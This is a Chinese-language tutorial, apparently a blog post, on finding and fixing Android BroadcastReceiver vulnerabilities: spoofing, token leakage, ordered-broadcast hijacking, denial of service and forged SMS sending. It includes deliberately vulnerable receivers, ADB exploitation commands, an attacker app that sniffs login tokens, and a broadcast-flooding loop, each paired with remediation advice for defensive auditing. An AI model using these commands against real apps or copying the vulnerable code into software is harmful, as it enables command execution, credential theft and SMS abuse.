🚨Android BroadcastReceiver 漏洞排查全流程指南
🔐 面向 Android 安全新手,从 0 到 1 手把手教你排查 BroadcastReceiver 的安全风险!
✅ 什么是 BroadcastReceiver?
BroadcastReceiver(广播接收器)是 Android 四大组件之一,专门用来接收和响应广播消息,比如系统通知、电量变化、网络状态变化,或者 App 自己发的“登录成功”“支付完成”等消息。
它分为两种注册方式:
类型 | 注册方式 | 生命周期 |
---|---|---|
静态注册 | 写在 AndroidManifest.xml 中 | App 没打开也能接收 |
动态注册 | 在代码中 registerReceiver() | App 打开期间才生效 |
🔎 核心方法是 onReceive()
,广播发出后就会触发这个函数运行你写的逻辑。问题就出在这里:
- 如果别人能发广播给你(exported=true)
- 而你在 onReceive 里执行了敏感操作(发短信、删库、调用命令等)
- 又没有校验广播来源或内容
- 动态注册详情 👉 新手也能看懂的 Android 动态广播机制详解-极客星球
那攻击者就能伪造广播“骗你执行”——这就是广播欺骗、劫持、信息泄露等安全问题的根源。
✅ BroadcastReceiver组件的常见结构
📌 Manifest 中的注册结构示意:
<receiver android:name=".MyReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.example.MY_ACTION" />
</intent-filter>
</receiver>
📌 BroadcastReceiver 的典型结构示意:
// 1️⃣ 声明广播接收器类,继承 BroadcastReceiver
public class MyReceiver extends BroadcastReceiver {
// 2️⃣ 重写 onReceive 方法(广播的主要处理逻辑入口)
@Override
public void onReceive(Context context, Intent intent) {
// 3️⃣ 获取广播 action 或参数
String action = intent.getAction();
// 4️⃣ 判断是否是预期的 action
if ("com.example.MY_ACTION".equals(action)) {
// 5️⃣ 执行对应的处理逻辑(如启动服务、记录日志等)
}
}
}
🧭 Android 广播组件排查 3 步法
第一步:👀 快速识别有哪些广播接收器
🛠 Jadx反编译查看:
打开 AndroidManifest.xml
,查找所有 <receiver>
组件:
<receiver android:name=".DangerousReceiver">
<intent-filter>
<action android:name="com.vuln.EXEC_CMD" />
</intent-filter>
</receiver>
✅ 看点:
- 有没有
android:exported="true"
(或没写,Android11 以下默认也是 true)
- 12及以上必须显型说明是True或False
- 有没有设置
android:permission="..."
(有则较安全)
🛠 Jadx全局搜索关键词:
关键词 | 含义说明 | 排查目的 |
---|---|---|
onReceive | 实现广播接收的核心方法 | 定位接收器逻辑入口 |
registerReceiver | 动态注册广播的 API | 查非 Manifest 注册的广播组件 |
sendBroadcast | 普通广播发送方法 | 找出 App 主动发送的广播(可能泄露) |
sendOrderedBroadcast | 有序广播发送方法 | 分析是否存在劫持风险 |
abortBroadcast | 中断广播传递的方法 | 判断是否有恶意阻断逻辑 |
Runtime.getRuntime().exec | 执行系统命令(高危) | 查是否被广播欺骗后执行命令 |
getStringExtra / getExtras | 获取广播参数 | 查参数注入点或参数未校验位置 |
SmsManager.sendTextMessage | 发送短信 API(高风险) | 分析是否可被伪造广播诱发发送短信 |
✅ 排查建议:
- 搜索结果中重点查看是否出现在
BroadcastReceiver
中,尤其是onReceive()
方法内部。- 注意判断是否有
getStringExtra()
、intent.getAction()
等字段提取但未做校验。- 如出现
exec()
、发短信等敏感操作,务必检查是否是被广播触发、是否加了权限控制。
第二步:🔍 分析每个接收器是否存在风险
📌 漏洞 ①:广播欺骗(Broadcast Spoofing)
✅ 风险描述:
攻击者伪造广播 Intent,触发敏感行为(如执行命令、发短信、启动服务)
☠️ 漏洞代码示例:
public class DangerousReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String cmd = intent.getStringExtra("cmd");
try {
Runtime.getRuntime().exec(cmd); // ⚠️执行任意命令
} catch (Exception e) {
e.printStackTrace();
}
}
}
⚙️ Manifest 配置(无权限限制 + 默认导出):
<receiver android:name=".DangerousReceiver">
<intent-filter>
<action android:name="com.vuln.EXEC_CMD" />
</intent-filter>
</receiver>
💥 ADB 利用命令:
adb shell am broadcast -a com.vuln.EXEC_CMD --es cmd "touch /sdcard/pwned.txt"
📌 特殊适用条件:
- 目标系统 Android 11 以下(12+ 默认要求 exported,查看是否有明确
exported = true
) - Receiver 没设置权限
- 触发敏感 API(如 exec)
📌 漏洞 ②:信息泄露(Broadcast Leak)
✅ 风险描述:
应用通过普通广播(sendBroadcast(Intent)
)发送敏感数据,未对广播添加权限控制,导致任何安装在设备上的应用都能监听该广播并窃取敏感信息。
⚠️ 有风险的配置和源码示例
发送方(泄露广播)代码示例:
Intent i = new Intent("com.app.LOGIN_RESULT"); //com.app.LOGIN_RESULT 具体action
i.putExtra("token", "user-token-123456");
sendBroadcast(i); // ⚠️ 未指定权限,任何App均可接收
- 这段代码中,调用了
sendBroadcast
,且没有传入权限参数。 - 这样发送的广播是公开的,任何App都能通过注册相同
action
监听到。 - 广播中附带了敏感字段
token
,暴露了用户信息。
Manifest 中未限制导出:
<receiver android:name=".SensitiveReceiver" android:exported="true">
<intent-filter>
<action android:name="com.app.LOGIN_RESULT" />
</intent-filter>
</receiver>
- 如果广播接收器本身导出(
exported=true
),意味着其他App也能发送该广播,增加风险。
👾 攻击者需要做什么?
- 攻击者需要写一个恶意App,并安装到目标设备上。
- 恶意App在
AndroidManifest.xml
中声明与目标App广播相同的action
,并注册对应的BroadcastReceiver
来监听广播。
攻击者的AndroidManifest.xml
:
<receiver android:name=".Sniffer" android:exported="true">
<intent-filter>
<action android:name="com.app.LOGIN_RESULT"/>
</intent-filter>
</receiver>
攻击者的监听器代码:
public class Sniffer extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String leakedToken = intent.getStringExtra("token");
Log.d("LeakedToken", "获取到的Token: " + leakedToken);
// 这里可以将数据上传到服务器或做其他恶意操作
}
}
📱 是否可以通过 ADB 验证?
- 不完全可以。
因为信息泄露需要安装恶意App来注册监听广播,普通的adb shell am broadcast
只能模拟发送广播,无法直接模拟监听行为。
但你可以用ADB检查目标App发送的广播:
adb shell dumpsys activity broadcasts
- 该命令可查看当前系统广播队列,但不能直接看到广播内容和接收者。
要验证监听效果,必须:
- 编写一个简单监听广播的App(上面攻击者代码示例)。
- 安装到设备上。
- 运行目标App发送广播。
- 在监听App中观察日志(通过
adb logcat
)确认是否接收到敏感数据。
📌 特殊适用条件:
- 目标App通过普通
sendBroadcast
发送广播,且未设置接收权限。 - 广播内包含敏感数据(如Token、用户隐私信息等)。
- 攻击者能在设备安装恶意App并注册对应广播监听器。
✅ 修复建议:
- 发送广播时指定权限,只有拥有该权限的App才能接收广播:
sendBroadcast(i, "com.example.PRIVATE_PERMISSION"); // ✅ 加权限
- 并在
AndroidManifest.xml
中声明权限:
<permission android:name="com.example.PRIVATE_PERMISSION"
android:protectionLevel="signature" />
<receiver android:name=".SensitiveReceiver"
android:permission="com.example.PRIVATE_PERMISSION">
<intent-filter>
<action android:name="com.app.LOGIN_RESULT"/>
</intent-filter>
</receiver>
- 或者通过动态注册的方式接收广播,限制注册范围,避免被其他App监听。
总结:
项目 | 说明 |
---|---|
发生场景 | 发送敏感数据的普通广播无权限限制 |
攻击者条件 | 安装恶意App监听目标广播 |
是否可用 ADB 验证 | 只能查看广播状态,无法模拟监听 |
修复建议 | 发送广播时加权限,声明权限限制 |
如果需要
sendBroadcast(i, "com.example.PRIVATE_PERMISSION"); // ✅加权限
📌 漏洞 ③:有序广播劫持(Hijack)
✅ 风险描述:
攻击者通过设置更高优先级,拦截或阻断 sendOrderedBroadcast 发送的广播,修改或阻止原广播流程。
☠️ 恶意接收器配置:
<receiver android:name=".HijackReceiver">
<intent-filter android:priority="999">
<action android:name="com.app.SAFE_ACTION"/>
</intent-filter>
</receiver>
public class HijackReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
abortBroadcast(); // ⚠️中断后续 Receiver
// 或 setResultData("hacked") 修改内容
}
}
📌 特殊适用条件:
- App 使用
sendOrderedBroadcast()
- 目标系统 Android 8及以下(适用旧版本兼容的系统可以关注一下)
✅ 修复建议:
- 尽量使用普通广播或 LocalBroadcastManager
- 验证广播来源 (
getPackage
,getCallingUid
)
📌 漏洞 ④:拒绝服务(DoS)
✅ 风险描述:
攻击者持续高频发送广播,触发广播内耗时操作导致卡顿甚至 ANR 崩溃。
☠️ Receiver 示例:
@Override
public void onReceive(Context context, Intent intent) {
try {
Thread.sleep(5000); // ⚠️耗时操作导致卡死
} catch (InterruptedException e) {}
}
⚙️ Manifest 配置:
<receiver android:name=".SleepReceiver">
<intent-filter>
<action android:name="com.vuln.DOS"/>
</intent-filter>
</receiver>
💥 攻击命令:
for i in $(seq 1 50); do
adb shell am broadcast -a com.vuln.DOS;
done
✅ 修复建议:
- 广播中只做轻量操作,耗时处理转交 Service
📌 漏洞 ⑤:伪造广播触发发短信
☠️ 发短信接收器:
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String number = intent.getStringExtra("phone");
String text = intent.getStringExtra("msg");
SmsManager.getDefault().sendTextMessage(number, null, text, null, null);
}
}
⚙️ Manifest 无限制导出:
<receiver android:name=".SmsReceiver">
<intent-filter>
<action android:name="com.vuln.SEND_SMS"/>
</intent-filter>
</receiver>
💥 利用命令:
adb shell am broadcast -a com.vuln.SEND_SMS --es phone "13800000000" --es msg "你被黑了"
📌 特殊适用条件:
- Android 11 以下系统(12+ 系统需显示声明 exported=true)
- 无权限限制或 export=true
第三步:🔐 安全修复 + 最佳实践清单
风险类型 | 修复建议 |
---|---|
广播欺骗 | 设置 android:exported="false" ,或加权限 |
信息泄露 | 使用 sendBroadcast(intent, "com.app.PRIVATE_PERMISSION") |
广播劫持 | 避免 sendOrderedBroadcast ,或校验来源 |
拒绝服务 | 耗时操作交由 Service,广播处理快速返回 |
动态注册泄露 | 注册后及时 unregisterReceiver() |
✅ Manifest 修复示例:
<receiver android:name=".SafeReceiver"
android:exported="false" />
或:
<receiver android:name=".SafeReceiver"
android:permission="com.app.PRIVATE_PERMISSION">
<intent-filter>
<action android:name="com.vuln.SAFE_ACTION"/>
</intent-filter>
</receiver>
✅ 总结:三步完成 BroadcastReceiver 漏洞排查
- 识别接收器:找出所有
<receiver>
注册,查看是否暴露 - 逐个分析风险:是否执行敏感操作?是否加权限?是否验证 Intent?
- ADB 测试复现:主动发广播,看是否能触发预期外行为
暂无评论内容